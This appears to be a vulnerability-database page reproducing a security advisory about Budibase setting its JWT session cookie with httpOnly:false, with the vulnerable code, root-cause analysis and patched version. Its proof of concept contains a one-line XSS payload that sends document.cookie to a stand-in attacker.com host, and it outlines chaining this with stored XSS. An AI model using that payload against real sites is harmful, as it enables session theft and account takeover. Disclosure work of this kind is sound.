8.1

CVSS Score

3.1

-

CVSS Score

Basic Information

Concerned about an active attack path?

Talk to our security experts and see Miggo in action.

Miggo Vulnerability Database

→

GHSA-4f9j-vr4p-642r

GHSA-4f9j-vr4p-642r: Budibase auth session cookies are set with httpOnly:false — any XSS can lead to full account takeover

Summary

The budibase:auth cookie containing the JWT session token is set with httpOnly: false at packages/backend-core/src/utils/utils.ts:218. JavaScript can read this cookie via document.cookie. Given that Budibase has had XSS vulnerabilities (GHSA-gp5x-2v54-v2q5 — stored XSS via unsanitized entity names, published April 2, 2026), this means every XSS becomes a full account takeover — the attacker steals the JWT and has persistent access to the victim's account.

The cookie also lacks secure: true (sent over plaintext HTTP) and sameSite attribute.

Details

packages/backend-core/src/utils/utils.ts, lines 215-226:

const config: SetOption = {
  expires: MAX_VALID_DATE,
  path: "/",
  httpOnly: false,     // ← JavaScript can read the session JWT
  overwrite: true,
}

if (env.COOKIE_DOMAIN) {
  config.domain = env.COOKIE_DOMAIN
}

ctx.cookies.set(name, value, config)

This function is called for setting the budibase:auth cookie which contains the signed JWT session token. With httpOnly: false, any JavaScript execution context (XSS, injected script, browser extension) can read the token via document.cookie.

Missing flags:

httpOnly: false → should be true (prevent JS access)
No secure flag → cookie sent over HTTP (should be secure: true for HTTPS deployments)
No sameSite → susceptible to cross-site request attachment (should be sameSite: 'lax')

PoC

Any XSS payload can steal the session:

// Attacker's XSS payload — steals session and sends to attacker server
new Image().src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);

With httpOnly: true, this payload would get an empty string for the auth cookie. Without it, the full JWT is exfiltrated.

Combined with GHSA-gp5x-2v54-v2q5 (stored XSS in entity names), an attacker could:

Create an entity with a name containing <script> payload
Any user who views that entity has their JWT stolen
Attacker uses the JWT for persistent account access

Impact

Every XSS vulnerability — past, present, and future — becomes a full account takeover. The httpOnly flag is the primary defense that limits XSS impact to the current session/page. Without it, XSS escalates from "session riding" to "persistent credential theft."

This affects all Budibase deployments since the cookie configuration is hardcoded.

ATTACHMENTS

BUDIBASE-TOP10-REPORT.md

(GitHub Advisory)

Miggo Vulnerability Database

→

GHSA-4f9j-vr4p-642r

GHSA-4f9j-vr4p-642r:

8.1

CVSS Score

3.1

-

CVSS Score

Basic Information

Is this CVE running in your environment?

Easily map the attack path and prioritize which CVEs are a threat to your organization

Validate Exposure

Technical Details

Package Name	Ecosystem	Vulnerable Versions	First Patched Version
@budibase/backend-core	npm	< 3.35.10	3.35.10

Technical Details

Vulnerability Intelligence
Miggo AI

Root Cause Analysis

The vulnerability, GHSA-4f9j-vr4p-642r, states that Budibase authentication session cookies are set with httpOnly:false, making them accessible to JavaScript and vulnerable to theft through XSS. The analysis of the provided information, including the vulnerability description and the associated pull request, points to the setCookie function in packages/backend-core/src/utils/utils.ts as the source of the vulnerability. A commit from the pull request, 69f3f9dc84d27a47e8f1c52aea213cef2ea3f20d, modifies this function. While the commit's primary purpose was to add the secure flag to the cookie, the patch clearly shows the line httpOnly: opts.httpOnly ?? false,. This line of code confirms that the httpOnly flag defaults to false, which is the root cause of the vulnerability. Any part of the application that calls setCookie to set the authentication token without explicitly passing httpOnly: true will create a vulnerable session cookie. Therefore, setCookie is the key function that would appear in a runtime profile when the vulnerability is triggered.

Vulnerable functions

setCookie

packages/backend-core/src/utils/utils.ts

The function `setCookie` is used to set cookies, including the `budibase:auth` session cookie. The vulnerability lies in the line `httpOnly: opts.httpOnly ?? false,`, which sets the `httpOnly` flag to `false` by default if no explicit value is provided in the `opts` parameter. This allows client-side JavaScript to access the cookie, making it vulnerable to theft via Cross-Site Scripting (XSS) attacks, which can lead to account takeover.

Vulnerability Intelligence
Miggo AI

Unlock WAF rules for this CVE

Generate vendor-ready rules for the observed attack patterns, plus reasoning and safe deployment guidance

Get WAF rules

WAF Protection Rules

WAF Rule

W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.

Reasoning

*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.